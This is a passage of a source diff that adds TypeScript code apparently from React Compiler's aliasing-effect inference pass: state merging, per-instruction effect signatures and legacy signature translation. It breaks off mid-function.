+   * returning null if no changes would occur. Changes include:
+   * - new entries in @param other that did not exist in @param this
+   * - entries whose values differ in @param this and @param other,
+   *    and where joining the values produces a different value than
+   *    what was in @param this.
+   *
+   * Note that values are joined using a lattice operation to ensure
+   * termination.
+   */
+  merge(other: InferenceState): InferenceState | null {
+    let nextValues: Map<InstructionValue, AbstractValue> | null = null;
+    let nextVariables: Map<IdentifierId, Set<InstructionValue>> | null = null;
+
+    for (const [id, thisValue] of this.#values) {
+      const otherValue = other.#values.get(id);
+      if (otherValue !== undefined) {
+        const mergedValue = mergeAbstractValues(thisValue, otherValue);
+        if (mergedValue !== thisValue) {
+          nextValues = nextValues ?? new Map(this.#values);
+          nextValues.set(id, mergedValue);
+        }
+      }
+    }
+    for (const [id, otherValue] of other.#values) {
+      if (this.#values.has(id)) {
+        // merged above
+        continue;
+      }
+      nextValues = nextValues ?? new Map(this.#values);
+      nextValues.set(id, otherValue);
+    }
+
+    for (const [id, thisValues] of this.#variables) {
+      const otherValues = other.#variables.get(id);
+      if (otherValues !== undefined) {
+        let mergedValues: Set<InstructionValue> | null = null;
+        for (const otherValue of otherValues) {
+          if (!thisValues.has(otherValue)) {
+            mergedValues = mergedValues ?? new Set(thisValues);
+            mergedValues.add(otherValue);
+          }
+        }
+        if (mergedValues !== null) {
+          nextVariables = nextVariables ?? new Map(this.#variables);
+          nextVariables.set(id, mergedValues);
+        }
+      }
+    }
+    for (const [id, otherValues] of other.#variables) {
+      if (this.#variables.has(id)) {
+        continue;
+      }
+      nextVariables = nextVariables ?? new Map(this.#variables);
+      nextVariables.set(id, new Set(otherValues));
+    }
+
+    if (nextVariables === null && nextValues === null) {
+      return null;
+    } else {
+      return new InferenceState(
+        this.env,
+        this.#isFunctionExpression,
+        nextValues ?? new Map(this.#values),
+        nextVariables ?? new Map(this.#variables),
+      );
+    }
+  }
+
+  /*
+   * Returns a copy of this state.
+   * TODO: consider using persistent data structures to make
+   * clone cheaper.
+   */
+  clone(): InferenceState {
+    return new InferenceState(
+      this.env,
+      this.#isFunctionExpression,
+      new Map(this.#values),
+      new Map(this.#variables),
+    );
+  }
+
+  /*
+   * For debugging purposes, dumps the state to a plain
+   * object so that it can printed as JSON.
+   */
+  debug(): any {
+    const result: any = {values: {}, variables: {}};
+    const objects: Map<InstructionValue, number> = new Map();
+    function identify(value: InstructionValue): number {
+      let id = objects.get(value);
+      if (id == null) {
+        id = objects.size;
+        objects.set(value, id);
+      }
+      return id;
+    }
+    for (const [value, kind] of this.#values) {
+      const id = identify(value);
+      result.values[id] = {
+        abstract: this.debugAbstractValue(kind),
+        value: printInstructionValue(value),
+      };
+    }
+    for (const [variable, values] of this.#variables) {
+      result.variables[`$${variable}`] = [...values].map(identify);
+    }
+    return result;
+  }
+
+  debugAbstractValue(value: AbstractValue): any {
+    return {
+      kind: value.kind,
+      reason: [...value.reason],
+    };
+  }
+
+  inferPhi(phi: Phi): void {
+    const values: Set<InstructionValue> = new Set();
+    for (const [_, operand] of phi.operands) {
+      const operandValues = this.#variables.get(operand.identifier.id);
+      // This is a backedge that will be handled later by State.merge
+      if (operandValues === undefined) continue;
+      for (const v of operandValues) {
+        values.add(v);
+      }
+    }
+
+    if (values.size > 0) {
+      this.#variables.set(phi.place.identifier.id, values);
+    }
+  }
+}
+
+/**
+ * Returns a value that represents the combined states of the two input values.
+ * If the two values are semantically equivalent, it returns the first argument.
+ */
+function mergeAbstractValues(
+  a: AbstractValue,
+  b: AbstractValue,
+): AbstractValue {
+  const kind = mergeValueKinds(a.kind, b.kind);
+  if (
+    kind === a.kind &&
+    kind === b.kind &&
+    Set_isSuperset(a.reason, b.reason)
+  ) {
+    return a;
+  }
+  const reason = new Set(a.reason);
+  for (const r of b.reason) {
+    reason.add(r);
+  }
+  return {kind, reason};
+}
+
+type InstructionSignature = {
+  effects: ReadonlyArray<AliasingEffect>;
+};
+
+function conditionallyMutateIterator(place: Place): AliasingEffect | null {
+  if (
+    !(
+      isArrayType(place.identifier) ||
+      isSetType(place.identifier) ||
+      isMapType(place.identifier)
+    )
+  ) {
+    return {
+      kind: 'MutateTransitiveConditionally',
+      value: place,
+    };
+  }
+  return null;
+}
+
+/**
+ * Computes an effect signature for the instruction _without_ looking at the inference state,
+ * and only using the semantics of the instructions and the inferred types. The idea is to make
+ * it easy to check that the semantics of each instruction are preserved by describing only the
+ * effects and not making decisions based on the inference state.
+ *
+ * Then in applySignature(), above, we refine this signature based on the inference state.
+ *
+ * NOTE: this function is designed to be cached so it's only computed once upon first visiting
+ * an instruction.
+ */
+function computeSignatureForInstruction(
+  context: Context,
+  env: Environment,
+  instr: Instruction,
+): InstructionSignature {
+  const {lvalue, value} = instr;
+  const effects: Array<AliasingEffect> = [];
+  switch (value.kind) {
+    case 'ArrayExpression': {
+      effects.push({
+        kind: 'Create',
+        into: lvalue,
+        value: ValueKind.Mutable,
+        reason: ValueReason.Other,
+      });
+      // All elements are captured into part of the output value
+      for (const element of value.elements) {
+        if (element.kind === 'Identifier') {
+          effects.push({
+            kind: 'Capture',
+            from: element,
+            into: lvalue,
+          });
+        } else if (element.kind === 'Spread') {
+          const mutateIterator = conditionallyMutateIterator(element.place);
+          if (mutateIterator != null) {
+            effects.push(mutateIterator);
+          }
+          effects.push({
+            kind: 'Capture',
+            from: element.place,
+            into: lvalue,
+          });
+        } else {
+          continue;
+        }
+      }
+      break;
+    }
+    case 'ObjectExpression': {
+      effects.push({
+        kind: 'Create',
+        into: lvalue,
+        value: ValueKind.Mutable,
+        reason: ValueReason.Other,
+      });
+      for (const property of value.properties) {
+        if (property.kind === 'ObjectProperty') {
+          effects.push({
+            kind: 'Capture',
+            from: property.place,
+            into: lvalue,
+          });
+        } else {
+          effects.push({
+            kind: 'Capture',
+            from: property.place,
+            into: lvalue,
+          });
+        }
+      }
+      break;
+    }
+    case 'Await': {
+      effects.push({
+        kind: 'Create',
+        into: lvalue,
+        value: ValueKind.Mutable,
+        reason: ValueReason.Other,
+      });
+      // Potentially mutates the receiver (awaiting it changes its state and can run side effects)
+      effects.push({kind: 'MutateTransitiveConditionally', value: value.value});
+      /**
+       * Data from the promise may be returned into the result, but await does not directly return
+       * the promise itself
+       */
+      effects.push({
+        kind: 'Capture',
+        from: value.value,
+        into: lvalue,
+      });
+      break;
+    }
+    case 'NewExpression':
+    case 'CallExpression':
+    case 'MethodCall': {
+      let callee;
+      let receiver;
+      let mutatesCallee;
+      if (value.kind === 'NewExpression') {
+        callee = value.callee;
+        receiver = value.callee;
+        mutatesCallee = false;
+      } else if (value.kind === 'CallExpression') {
+        callee = value.callee;
+        receiver = value.callee;
+        mutatesCallee = true;
+      } else if (value.kind === 'MethodCall') {
+        callee = value.property;
+        receiver = value.receiver;
+        mutatesCallee = false;
+      } else {
+        assertExhaustive(
+          value,
+          `Unexpected value kind '${(value as any).kind}'`,
+        );
+      }
+      const signature = getFunctionCallSignature(env, callee.identifier.type);
+      effects.push({
+        kind: 'Apply',
+        receiver,
+        function: callee,
+        mutatesFunction: mutatesCallee,
+        args: value.args,
+        into: lvalue,
+        signature,
+        loc: value.loc,
+      });
+      break;
+    }
+    case 'PropertyDelete':
+    case 'ComputedDelete': {
+      effects.push({
+        kind: 'Create',
+        into: lvalue,
+        value: ValueKind.Primitive,
+        reason: ValueReason.Other,
+      });
+      // Mutates the object by removing the property, no aliasing
+      effects.push({kind: 'Mutate', value: value.object});
+      break;
+    }
+    case 'PropertyLoad':
+    case 'ComputedLoad': {
+      if (isPrimitiveType(lvalue.identifier)) {
+        effects.push({
+          kind: 'Create',
+          into: lvalue,
+          value: ValueKind.Primitive,
+          reason: ValueReason.Other,
+        });
+      } else {
+        effects.push({
+          kind: 'CreateFrom',
+          from: value.object,
+          into: lvalue,
+        });
+      }
+      break;
+    }
+    case 'PropertyStore':
+    case 'ComputedStore': {
+      /**
+       * Add a hint about naming as "ref"/"-Ref", but only if we weren't able to infer any
+       * type for the object. In some cases the variable may be named like a ref, but is
+       * also used as a ref callback such that we infer the type as a function rather than
+       * a ref.
+       */
+      const mutationReason: MutationReason | null =
+        value.kind === 'PropertyStore' &&
+        value.property === 'current' &&
+        value.object.identifier.type.kind === 'Type'
+          ? {kind: 'AssignCurrentProperty'}
+          : null;
+      effects.push({
+        kind: 'Mutate',
+        value: value.object,
+        reason: mutationReason,
+      });
+      effects.push({
+        kind: 'Capture',
+        from: value.value,
+        into: value.object,
+      });
+      effects.push({
+        kind: 'Create',
+        into: lvalue,
+        value: ValueKind.Primitive,
+        reason: ValueReason.Other,
+      });
+      break;
+    }
+    case 'ObjectMethod':
+    case 'FunctionExpression': {
+      /**
+       * We've already analyzed the function expression in AnalyzeFunctions. There, we assign
+       * a Capture effect to any context variable that appears (locally) to be aliased and/or
+       * mutated. The precise effects are annotated on the function expression's aliasingEffects
+       * property, but we don't want to execute those effects yet. We can only use those when
+       * we know exactly how the function is invoked — via an Apply effect from a custom signature.
+       *
+       * But in the general case, functions can be passed around and possibly called in ways where
+       * we don't know how to interpret their precise effects. For example:
+       *
+       * ```
+       * const a = {};
+       *
+       * // We don't want to consider a as mutating here, this just declares the function
+       * const f = () => { maybeMutate(a) };
+       *
+       * // We don't want to consider a as mutating here either, it can't possibly call f yet
+       * const x = [f];
+       *
+       * // Here we have to assume that f can be called (transitively), and have to consider a
+       * // as mutating
+       * callAllFunctionInArray(x);
+       * ```
+       *
+       * So for any context variables that were inferred as captured or mutated, we record a
+       * Capture effect. If the resulting function is transitively mutated, this will mean
+       * that those operands are also considered mutated. If the function is never called,
+       * they won't be!
+       *
+       * This relies on the rule that:
+       * Capture a -> b and MutateTransitive(b) => Mutate(a)
+       *
+       * Substituting:
+       * Capture contextvar -> function and MutateTransitive(function) => Mutate(contextvar)
+       *
+       * Note that if the type of the context variables are frozen, global, or primitive, the
+       * Capture will either get pruned or downgraded to an ImmutableCapture.
+       */
+      effects.push({
+        kind: 'CreateFunction',
+        into: lvalue,
+        function: value,
+        captures: value.loweredFunc.func.context.filter(
+          operand => operand.effect === Effect.Capture,
+        ),
+      });
+      break;
+    }
+    case 'GetIterator': {
+      effects.push({
+        kind: 'Create',
+        into: lvalue,
+        value: ValueKind.Mutable,
+        reason: ValueReason.Other,
+      });
+      if (
+        isArrayType(value.collection.identifier) ||
+        isMapType(value.collection.identifier) ||
+        isSetType(value.collection.identifier)
+      ) {
+        /*
+         * Builtin collections are known to return a fresh iterator on each call,
+         * so the iterator does not alias the collection
+         */
+        effects.push({
+          kind: 'Capture',
+          from: value.collection,
+          into: lvalue,
+        });
+      } else {
+        /*
+         * Otherwise, the object may return itself as the iterator, so we have to
+         * assume that the result directly aliases the collection. Further, the
+         * method to get the iterator could potentially mutate the collection
+         */
+        effects.push({kind: 'Alias', from: value.collection, into: lvalue});
+        effects.push({
+          kind: 'MutateTransitiveConditionally',
+          value: value.collection,
+        });
+      }
+      break;
+    }
+    case 'IteratorNext': {
+      /*
+       * Technically advancing an iterator will always mutate it (for any reasonable implementation)
+       * But because we create an alias from the collection to the iterator if we don't know the type,
+       * then it's possible the iterator is aliased to a frozen value and we wouldn't want to error.
+       * so we mark this as conditional mutation to allow iterating frozen values.
+       */
+      effects.push({kind: 'MutateConditionally', value: value.iterator});
+      // Extracts part of the original collection into the result
+      effects.push({
+        kind: 'CreateFrom',
+        from: value.collection,
+        into: lvalue,
+      });
+      break;
+    }
+    case 'NextPropertyOf': {
+      effects.push({
+        kind: 'Create',
+        into: lvalue,
+        value: ValueKind.Primitive,
+        reason: ValueReason.Other,
+      });
+      break;
+    }
+    case 'JsxExpression':
+    case 'JsxFragment': {
+      effects.push({
+        kind: 'Create',
+        into: lvalue,
+        value: ValueKind.Frozen,
+        reason: ValueReason.JsxCaptured,
+      });
+      for (const operand of eachInstructionValueOperand(value)) {
+        effects.push({
+          kind: 'Freeze',
+          value: operand,
+          reason: ValueReason.JsxCaptured,
+        });
+        effects.push({
+          kind: 'Capture',
+          from: operand,
+          into: lvalue,
+        });
+      }
+      if (value.kind === 'JsxExpression') {
+        if (value.tag.kind === 'Identifier') {
+          // Tags are render function, by definition they're called during render
+          effects.push({
+            kind: 'Render',
+            place: value.tag,
+          });
+        }
+        if (value.children != null) {
+          // Children are typically called during render, not used as an event/effect callback
+          for (const child of value.children) {
+            effects.push({
+              kind: 'Render',
+              place: child,
+            });
+          }
+        }
+        for (const prop of value.props) {
+          if (
+            prop.kind === 'JsxAttribute' &&
+            prop.place.identifier.type.kind === 'Function' &&
+            (isJsxType(prop.place.identifier.type.return) ||
+              (prop.place.identifier.type.return.kind === 'Phi' &&
+                prop.place.identifier.type.return.operands.some(operand =>
+                  isJsxType(operand),
+                )))
+          ) {
+            // Any props which return jsx are assumed to be called during render
+            effects.push({
+              kind: 'Render',
+              place: prop.place,
+            });
+          }
+        }
+      }
+      break;
+    }
+    case 'DeclareLocal': {
+      // TODO check this
+      effects.push({
+        kind: 'Create',
+        into: value.lvalue.place,
+        // TODO: what kind here???
+        value: ValueKind.Primitive,
+        reason: ValueReason.Other,
+      });
+      effects.push({
+        kind: 'Create',
+        into: lvalue,
+        // TODO: what kind here???
+        value: ValueKind.Primitive,
+        reason: ValueReason.Other,
+      });
+      break;
+    }
+    case 'Destructure': {
+      for (const patternItem of eachPatternItem(value.lvalue.pattern)) {
+        const place =
+          patternItem.kind === 'Identifier' ? patternItem : patternItem.place;
+        if (isPrimitiveType(place.identifier)) {
+          effects.push({
+            kind: 'Create',
+            into: place,
+            value: ValueKind.Primitive,
+            reason: ValueReason.Other,
+          });
+        } else if (patternItem.kind === 'Identifier') {
+          effects.push({
+            kind: 'CreateFrom',
+            from: value.value,
+            into: place,
+          });
+        } else {
+          // Spread creates a new object/array that captures from the RValue
+          effects.push({
+            kind: 'Create',
+            into: place,
+            reason: ValueReason.Other,
+            value: context.nonMutatingSpreads.has(place.identifier.id)
+              ? ValueKind.Frozen
+              : ValueKind.Mutable,
+          });
+          effects.push({
+            kind: 'Capture',
+            from: value.value,
+            into: place,
+          });
+        }
+      }
+      effects.push({kind: 'Assign', from: value.value, into: lvalue});
+      break;
+    }
+    case 'LoadContext': {
+      /*
+       * Context variables are like mutable boxes. Loading from one
+       * is equivalent to a PropertyLoad from the box, so we model it
+       * with the same effect we use there (CreateFrom)
+       */
+      effects.push({kind: 'CreateFrom', from: value.place, into: lvalue});
+      break;
+    }
+    case 'DeclareContext': {
+      // Context variables are conceptually like mutable boxes
+      const kind = value.lvalue.kind;
+      if (
+        !context.hoistedContextDeclarations.has(
+          value.lvalue.place.identifier.declarationId,
+        ) ||
+        kind === InstructionKind.HoistedConst ||
+        kind === InstructionKind.HoistedFunction ||
+        kind === InstructionKind.HoistedLet
+      ) {
+        /**
+         * If this context variable is not hoisted, or this is the declaration doing the hoisting,
+         * then we create the box.
+         */
+        effects.push({
+          kind: 'Create',
+          into: value.lvalue.place,
+          value: ValueKind.Mutable,
+          reason: ValueReason.Other,
+        });
+      } else {
+        /**
+         * Otherwise this may be a "declare", but there was a previous DeclareContext that
+         * hoisted this variable, and we're mutating it here.
+         */
+        effects.push({kind: 'Mutate', value: value.lvalue.place});
+      }
+      effects.push({
+        kind: 'Create',
+        into: lvalue,
+        // The result can't be referenced so this value doesn't matter
+        value: ValueKind.Primitive,
+        reason: ValueReason.Other,
+      });
+      break;
+    }
+    case 'StoreContext': {
+      /*
+       * Context variables are like mutable boxes, so semantically
+       * we're either creating (let/const) or mutating (reassign) a box,
+       * and then capturing the value into it.
+       */
+      if (
+        value.lvalue.kind === InstructionKind.Reassign ||
+        context.hoistedContextDeclarations.has(
+          value.lvalue.place.identifier.declarationId,
+        )
+      ) {
+        effects.push({kind: 'Mutate', value: value.lvalue.place});
+      } else {
+        effects.push({
+          kind: 'Create',
+          into: value.lvalue.place,
+          value: ValueKind.Mutable,
+          reason: ValueReason.Other,
+        });
+      }
+      effects.push({
+        kind: 'Capture',
+        from: value.value,
+        into: value.lvalue.place,
+      });
+      effects.push({kind: 'Assign', from: value.value, into: lvalue});
+      break;
+    }
+    case 'LoadLocal': {
+      effects.push({kind: 'Assign', from: value.place, into: lvalue});
+      break;
+    }
+    case 'StoreLocal': {
+      effects.push({
+        kind: 'Assign',
+        from: value.value,
+        into: value.lvalue.place,
+      });
+      effects.push({kind: 'Assign', from: value.value, into: lvalue});
+      break;
+    }
+    case 'PostfixUpdate':
+    case 'PrefixUpdate': {
+      effects.push({
+        kind: 'Create',
+        into: lvalue,
+        value: ValueKind.Primitive,
+        reason: ValueReason.Other,
+      });
+      effects.push({
+        kind: 'Create',
+        into: value.lvalue,
+        value: ValueKind.Primitive,
+        reason: ValueReason.Other,
+      });
+      break;
+    }
+    case 'StoreGlobal': {
+      const variable = `\`${value.name}\``;
+      effects.push({
+        kind: 'MutateGlobal',
+        place: value.value,
+        error: CompilerDiagnostic.create({
+          category: ErrorCategory.Globals,
+          reason:
+            'Cannot reassign variables declared outside of the component/hook',
+          description: `Variable ${variable} is declared outside of the component/hook. Reassigning this value during render is a form of side effect, which can cause unpredictable behavior depending on when the component happens to re-render. If this variable is used in rendering, use useState instead. Otherwise, consider updating it in an effect. (https://react.dev/reference/rules/components-and-hooks-must-be-pure#side-effects-must-run-outside-of-render)`,
+        }).withDetails({
+          kind: 'error',
+          loc: instr.loc,
+          message: `${variable} cannot be reassigned`,
+        }),
+      });
+      effects.push({kind: 'Assign', from: value.value, into: lvalue});
+      break;
+    }
+    case 'TypeCastExpression': {
+      effects.push({kind: 'Assign', from: value.value, into: lvalue});
+      break;
+    }
+    case 'LoadGlobal': {
+      effects.push({
+        kind: 'Create',
+        into: lvalue,
+        value: ValueKind.Global,
+        reason: ValueReason.Global,
+      });
+      break;
+    }
+    case 'StartMemoize':
+    case 'FinishMemoize': {
+      if (env.config.enablePreserveExistingMemoizationGuarantees) {
+        for (const operand of eachInstructionValueOperand(value)) {
+          effects.push({
+            kind: 'Freeze',
+            value: operand,
+            reason: ValueReason.HookCaptured,
+          });
+        }
+      }
+      effects.push({
+        kind: 'Create',
+        into: lvalue,
+        value: ValueKind.Primitive,
+        reason: ValueReason.Other,
+      });
+      break;
+    }
+    case 'TaggedTemplateExpression':
+    case 'BinaryExpression':
+    case 'Debugger':
+    case 'JSXText':
+    case 'MetaProperty':
+    case 'Primitive':
+    case 'RegExpLiteral':
+    case 'TemplateLiteral':
+    case 'UnaryExpression':
+    case 'UnsupportedNode': {
+      effects.push({
+        kind: 'Create',
+        into: lvalue,
+        value: ValueKind.Primitive,
+        reason: ValueReason.Other,
+      });
+      break;
+    }
+  }
+  return {
+    effects,
+  };
+}
+
+/**
+ * Creates a set of aliasing effects given a legacy FunctionSignature. This makes all of the
+ * old implicit behaviors from the signatures and InferReferenceEffects explicit, see comments
+ * in the body for details.
+ *
+ * The goal of this method is to make it easier to migrate incrementally to the new system,
+ * so we don't have to immediately write new signatures for all the methods to get expected
+ * compilation output.
+ */
+function computeEffectsForLegacySignature(
+  state: InferenceState,
+  signature: FunctionSignature,
+  lvalue: Place,
+  receiver: Place,
+  args: Array<Place | SpreadPattern | Hole>,
+  loc: SourceLocation,
+): Array<AliasingEffect> {
+  const returnValueReason = signature.returnValueReason ?? ValueReason.Other;
+  const effects: Array<AliasingEffect> = [];
+  effects.push({
+    kind: 'Create',
+    into: lvalue,
+    value: signature.returnValueKind,
+    reason: returnValueReason,
+  });
+  if (signature.impure && state.env.config.validateNoImpureFunctionsInRender) {
+    effects.push({
+      kind: 'Impure',
+      place: receiver,
+      error: CompilerDiagnostic.create({
+        category: ErrorCategory.Purity,
+        reason: 'Cannot call impure function during render',
+        description:
+          (signature.canonicalName != null
+            ? `\`${signature.canonicalName}\` is an impure function. `
+            : '') +
+          'Calling an impure function can produce unstable results that update unpredictably when the component happens to re-render. (https://react.dev/reference/rules/components-and-hooks-must-be-pure#components-and-hooks-must-be-idempotent)',
+      }).withDetails({
+        kind: 'error',
+        loc,
+        message: 'Cannot call impure function',
+      }),
+    });
+  }
+  if (signature.knownIncompatible != null && state.env.enableValidations) {
+    const errors = new CompilerError();
+    errors.pushDiagnostic(
+      CompilerDiagnostic.create({
+        category: ErrorCategory.IncompatibleLibrary,
+        reason: 'Use of incompatible library',
+        description: [
+          'This API returns functions which cannot be memoized without leading to stale UI. ' +
+            'To prevent this, by default React Compiler will skip memoizing this component/hook. ' +
+            'However, you may see issues if values from this API are passed to other components/hooks that are ' +
+            'memoized',
+        ].join(''),
+      }).withDetails({
+        kind: 'error',
+        loc: receiver.loc,
+        message: signature.knownIncompatible,
+      }),
+    );
+    throw errors;
+  }
+  const stores: Array<Place> = [];
+  const captures: Array<Place> = [];
+  function visit(place: Place, effect: Effect): void {
+    switch (effect) {
+      case Effect.Store: {
+        effects.push({
+          kind: 'Mutate',
+          value: place,
+        });
+        stores.push(place);
+        break;
+      }
+      case Effect.Capture: {
+        captures.push(place);
+        break;
+      }
+      case Effect.ConditionallyMutate: {
+        effects.push({
+          kind: 'MutateTransitiveConditionally',
+          value: place,
+        });
+        break;
+      }
+      case Effect.ConditionallyMutateIterator: {
+        const mutateIterator = conditionallyMutateIterator(place);
+        if (mutateIterator != null) {
+          effects.push(mutateIterator);
+        }
+        effects.push({
+          kind: 'Capture',
+          from: place,
+          into: lvalue,
+        });
+        break;
+      }
+      case Effect.Freeze: {
+        effects.push({
+          kind: 'Freeze',
+          value: place,
+          reason: returnValueReason,
+        });
+        break;
+      }
+      case Effect.Mutate: {
+        effects.push({kind: 'MutateTransitive', value: place});
+        break;
+      }
+      case Effect.Read: {
+        effects.push({
+          kind: 'ImmutableCapture',
+          from: place,
+          into: lvalue,
+        });
+        break;
+      }
+    }
+  }
+
+  if (
+    signature.mutableOnlyIfOperandsAreMutable &&
+    areArgumentsImmutableAndNonMutating(state, args)
+  ) {
+    effects.push({
+      kind: 'Alias',
+      from: receiver,
+      into: lvalue,
+    });
+    for (const arg of args) {
+      if (arg.kind === 'Hole') {
+        continue;
+      }
+      const place = arg.kind === 'Identifier' ? arg : arg.place;
+      effects.push({
+        kind: 'ImmutableCapture',
+        from: place,
+        into: lvalue,
+      });
+    }
+    return effects;
+  }
+
+  if (signature.calleeEffect !== Effect.Capture) {
+    /*
+     * InferReferenceEffects and FunctionSignature have an implicit assumption that the receiver
+     * is captured into the return value. Consider for example the signature for Array.proto.pop:
+     * the calleeEffect is Store, since it's a known mutation but non-transitive. But the return
+     * of the pop() captures from the receiver! This isn't specified explicitly. So we add this
+     * here, and rely on applySignature() to downgrade this to ImmutableCapture (or prune) if
+     * the type doesn't actually need to be captured based on the input and return type.
+     */
+    effects.push({
+      kind: 'Alias',
+      from: receiver,
+      into: lvalue,
+    });
+  }
+  visit(receiver, signature.calleeEffect);
+  for (let i = 0; i < args.length; i++) {
+    const arg = args[i];
+    if (arg.kind === 'Hole') {
+      continue;
+    }
+    const place = arg.kind === 'Identifier' ? arg : arg.place;
+    const signatureEffect =
+      arg.kind === 'Identifier' && i < signature.positionalParams.length
+        ? signature.positionalParams[i]!
+        : (signature.restParam ?? Effect.ConditionallyMutate);
+    const effect = getArgumentEffect(signatureEffect, arg);
+
+    visit(place, effect);
+  }
+  if (captures.length !== 0) {
+    if (stores.length === 0) {
+      // If no stores, then capture into the return value
+      for (const capture of captures) {
+        effects.push({kind: 'Alias', from: capture, into: lvalue});
+      }
+    } else {
+      // Else capture into the stores
+      for (const capture of captures) {
+        for (const store of stores) {
+          effects.push({kind: 'Capture', from: capture, into: store});
+        }
+      }
+    }
+  }
+  return effects;
+}
+
+/**
+ * Returns true if all of the arguments are both non-mutable (immutable or frozen)
+ * _and_ are not functions which might mutate their arguments. Note that function
+ * expressions count as frozen so long as they do not mutate free variables: this
+ * function checks that such functions also don't mutate their inputs.
+ */
+function areArgumentsImmutableAndNonMutating(
+  state: InferenceState,
+  args: Array<Place | SpreadPattern | Hole>,
+): boolean {
+  for (const arg of args) {
+    if (arg.kind === 'Hole') {
+      continue;
+    }
+    if (arg.kind === 'Identifier' && arg.identifier.type.kind === 'Function') {
+      const fnShape = state.env.getFunctionSignature(arg.identifier.type);
+      if (fnShape != null) {
+        return (
+          !fnShape.positionalParams.some(isKnownMutableEffect) &&
+          (fnShape.restParam == null ||
+            !isKnownMutableEffect(fnShape.restParam))
+        );
+      }
+    }
+    const place = arg.kind === 'Identifier' ? arg : arg.place;
+
+    const kind = state.kind(place).kind;
+    switch (kind) {
+      case ValueKind.Primitive:
+      case ValueKind.Frozen: {
+        /*
+         * Only immutable values, or frozen lambdas are allowed.
+         * A lambda may appear frozen even if it may mutate its inputs,
+         * so we have a second check even for frozen value types
+         */
+        break;
+      }
+      default: {
+        /**
+         * Globals, module locals, and other locally defined functions may
+         * mutate their arguments.
+         */
+        return false;
+      }
+    }
+    const values = state.values(place);
+    for (const value of values) {
+      if (
+        value.kind === 'FunctionExpression' &&
+        value.loweredFunc.func.params.some(param => {
+          const place = param.kind === 'Identifier' ? param : param.place;
+          const range = place.identifier.mutableRange;
+          return range.end > range.start + 1;
+        })
+      ) {
+        // This is a function which may mutate its inputs
+        return false;
+      }
+    }
+  }
+  return true;
+}
+
+function computeEffectsForSignature(
+  env: Environment,
+  signature: AliasingSignature,
+  lvalue: Place,
+  receiver: Place,
+  args: Array<Place | SpreadPattern | Hole>,
+  // Used for signatures constructed dynamically which reference context variables
+  context: Array<Place> = [],
+  loc: SourceLocation,
+): Array<AliasingEffect> | null {
+  if (
+    // Not enough args
+    signature.params.length > args.length ||
+    // Too many args and there is no rest param to hold them
+    (args.length > signature.params.length && signature.rest == null)
+  ) {
+    return null;
+  }
+  // Build substitutions
+  const mutableSpreads = new Set<IdentifierId>();
+  const substitutions: Map<IdentifierId, Array<Place>> = new Map();
+  substitutions.set(signature.receiver, [receiver]);
+  substitutions.set(signature.returns, [lvalue]);
+  const params = signature.params;
+  for (let i = 0; i < args.length; i++) {
+    const arg = args[i];
+    if (arg.kind === 'Hole') {
+      continue;
+    } else if (params == null || i >= params.length || arg.kind === 'Spread') {
+      if (signature.rest == null) {
+        return null;
+      }
+      const place = arg.kind === 'Identifier' ? arg : arg.place;
+      getOrInsertWith(substitutions, signature.rest, () => []).push(place);
+
+      if (arg.kind === 'Spread') {
+        const mutateIterator = conditionallyMutateIterator(arg.place);
+        if (mutateIterator != null) {
+          mutableSpreads.add(arg.place.identifier.id);
+        }
+      }
+    } else {
+      const param = params[i];
+      substitutions.set(param, [arg]);
+    }
+  }
+
+  /*
+   * Signatures constructed dynamically from function expressions will reference values
+   * other than their receiver/args/etc. We populate the substitution table with these
+   * values so that we can still exit for unpopulated substitutions
+   */
+  for (const operand of context) {
+    substitutions.set(operand.identifier.id, [operand]);
+  }
+
+  const effects: Array<AliasingEffect> = [];
+  for (const signatureTemporary of signature.temporaries) {
+    const temp = createTemporaryPlace(env, receiver.loc);
+    substitutions.set(signatureTemporary.identifier.id, [temp]);
+  }
+
+  // Apply substitutions
+  for (const effect of signature.effects) {
+    switch (effect.kind) {
+      case 'MaybeAlias':
+      case 'Assign':
+      case 'ImmutableCapture':
+      case 'Alias':
+      case 'CreateFrom':
+      case 'Capture': {
+        const from = substitutions.get(effect.from.identifier.id) ?? [];
+        const to = substitutions.get(effect.into.identifier.id) ?? [];
+        for (const fromId of from) {
+          for (const toId of to) {
+            effects.push({
+              kind: effect.kind,
+              from: fromId,
+              into: toId,
+            });
+          }
+        }
+        break;
+      }
+      case 'Impure':
+      case 'MutateFrozen':
+      case 'MutateGlobal': {
+        const values = substitutions.get(effect.place.identifier.id) ?? [];
+        for (const value of values) {
+          effects.push({kind: effect.kind, place: value, error: effect.error});
+        }
+        break;
+      }
+      case 'Render': {
+        const values = substitutions.get(effect.place.identifier.id) ?? [];
+        for (const value of values) {
+          effects.push({kind: effect.kind, place: value});
+        }
+        break;
+      }
+      case 'Mutate':
+      case 'MutateTransitive':
+      case 'MutateTransitiveConditionally':
+      case 'MutateConditionally': {
+        const values = substitutions.get(effect.value.identifier.id) ?? [];
+        for (const id of values) {
+          effects.push({kind: effect.kind, value: id});
+        }
+        break;
+      }
+      case 'Freeze': {
+        const values = substitutions.get(effect.value.identifier.id) ?? [];
+        for (const value of values) {
+          if (mutableSpreads.has(value.identifier.id)) {
+            CompilerError.throwTodo({
+              reason: 'Support spread syntax for hook arguments',
+              loc: value.loc,
+            });
+          }
+          effects.push({kind: 'Freeze', value, reason: effect.reason});
+        }
+        break;
+      }
+      case 'Create': {
+        const into = substitutions.get(effect.into.identifier.id) ?? [];
+        for (const value of into) {
+          effects.push({
+            kind: 'Create',
+            into: value,
+            value: effect.value,
+            reason: effect.reason,
+          });
+        }
+        break;
+      }
+      case 'Apply': {
+        const applyReceiver = substitutions.get(effect.receiver.identifier.id);
+        if (applyReceiver == null || applyReceiver.length !== 1) {
+          return null;
+        }
+        const applyFunction = substitutions.get(effect.function.identifier.id);
+        if (applyFunction == null || applyFunction.length !== 1) {
+          return null;
+        }
+        const applyInto = substitutions.get(effect.into.identifier.id);
+        if (applyInto == null || applyInto.length !== 1) {
+          return null;
+        }
+        const applyArgs: Array<Place | SpreadPattern | Hole> = [];
+        for (const arg of effect.args) {
+          if (arg.kind === 'Hole') {
+            applyArgs.push(arg);
+          } else if (arg.kind === 'Identifier') {
+            const applyArg = substitutions.get(arg.identifier.id);
+            if (applyArg == null || applyArg.length !== 1) {
+              return null;
+            }
+            applyArgs.push(applyArg[0]);
+          } else {
+            const applyArg = substitutions.get(arg.place.identifier.id);
+            if (applyArg == null || applyArg.length !== 1) {
+              return null;
+            }
+            applyArgs.push({kind: 'Spread', place: applyArg[0]});
+          }
+        }
+        effects.push({
+          kind: 'Apply',
+          mutatesFunction: effect.mutatesFunction,
+          receiver: applyReceiver[0],
+          args: applyArgs,
